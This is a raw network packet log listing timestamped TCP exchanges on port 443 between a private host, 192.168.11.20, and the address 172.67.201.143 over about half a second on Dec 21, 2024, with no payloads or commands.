Dec 21, 2024 19:23:04.511888981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.511895895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.520716906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.520730972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.520951033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.520962000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.521080971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.529508114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.538872957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.538973093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.539176941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.539189100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.539321899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.547199011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.556180954 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.556339025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.556437969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.556446075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.556648970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.564939022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.617086887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.617202997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.617347002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.617356062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.617710114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.624978065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.625272036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.625698090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.625708103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.633686066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.633948088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.633955956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.641597033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.641910076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.641920090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.649182081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.649698973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.649707079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.656852007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.657075882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.657083988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.664743900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.664905071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.664913893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.675540924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.675872087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.675882101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.681858063 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.682142019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.682154894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.687927008 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.688096046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.688107967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.695437908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.695673943 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.695686102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.712939978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.713063002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.713094950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.713104963 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.713237047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.717840910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.718074083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.725786924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.726013899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.732388973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.732594967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.739892006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.740044117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.748301029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.748455048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.748466015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.753648043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.753863096 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.753873110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.763123989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.763353109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.763364077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.763483047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.771759987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.771965027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.779936075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.780262947 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.780272007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.780461073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.783708096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.788289070 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.788458109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.788467884 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.788729906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.788738966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.793128014 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.793374062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.793382883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.797328949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.797501087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.797509909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.800708055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.800898075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.800906897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.804521084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.804850101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.804860115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.811000109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.811326981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.811337948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.812813997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.813079119 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.813090086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.817085981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.817321062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.817332983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.824544907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.824740887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.824753046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.824820042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.831157923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.831397057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.831408978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.832415104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.832658052 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.832669973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.835877895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.836117983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.836128950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.843158960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.843355894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.843367100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.844451904 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.844758034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.844769955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.850106001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.850548029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.850558996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.851893902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.852104902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.852116108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.856867075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.857018948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.857031107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.860523939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.860685110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.860697031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.865056038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.865312099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.865324020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.869184971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.869383097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.869394064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.874128103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.874319077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.874330997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.881972075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.882136106 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.882148027 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.882210970 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.888067961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.888232946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.888243914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.890642881 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.890832901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.890844107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.900312901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.900465965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.900476933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.900557041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.900633097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.905415058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.905585051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.905704021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.910423994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.910593033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.910670042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.916774035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.916950941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.917040110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.918684959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.918926001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.925923109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.926103115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.929779053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.929924965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.930077076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.930725098 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.930886030 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.932899952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.933147907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.935956955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.936197042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.936678886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.936882973 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.938909054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.939166069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.940970898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.941169024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.942786932 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.943080902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.944914103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.945122004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.946830988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.946980953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.949872971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.950088024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.951808929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.952116013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.953212976 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.953363895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.955507994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.955766916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.959208012 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.959882975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.960124016 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.960135937 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.960266113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.961069107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.961281061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.965333939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.965543032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.966435909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.966672897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.973028898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.973189116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.973267078 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.973294020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.973304033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.973500967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.974980116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.975116968 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.978936911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.979104042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.979116917 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.979192019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.980515957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.980678082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.980686903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.981683016 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.981911898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.981923103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.983195066 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.983510017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.983520031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.984821081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.984981060 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.984992981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.986495972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.986732960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.986742973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.988154888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.988385916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.988398075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.991125107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.991441011 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.991452932 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.991626978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.991779089 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.991790056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.992893934 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.993191004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.993200064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.996526957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.996694088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.996706009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.996783972 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.997869015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.998162985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.998174906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.999108076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.999382019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.999393940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.003463030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.003727913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.003740072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.016974926 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.016988993 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.017194986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.017206907 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.017585039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.017590046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.017596960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.017843008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.018090963 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.018274069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.022686958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.022838116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.022939920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.036906004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.036921024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.037139893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.037244081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.037256956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.037606955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.037978888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.038146019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.038270950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.039000034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.039181948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.039272070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.039284945 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.039486885 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.039962053 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.040230989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.041466951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.041703939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.042558908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.042860031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.043895006 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.044181108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.047209024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.047449112 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.047633886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.047813892 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.049202919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.049491882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.050077915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.050345898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.054454088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.054630041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.054728985 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.057414055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.057615042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.057694912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.059748888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.059954882 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.060029984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.060497999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.060781956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.062032938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.062442064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.062442064 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.063244104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.063503981 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.064373970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.064677000 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.065116882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.065336943 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.066236019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.066462994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.067298889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.067555904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.068447113 CET	443	49743	172.67.201.143	192.168.11.20
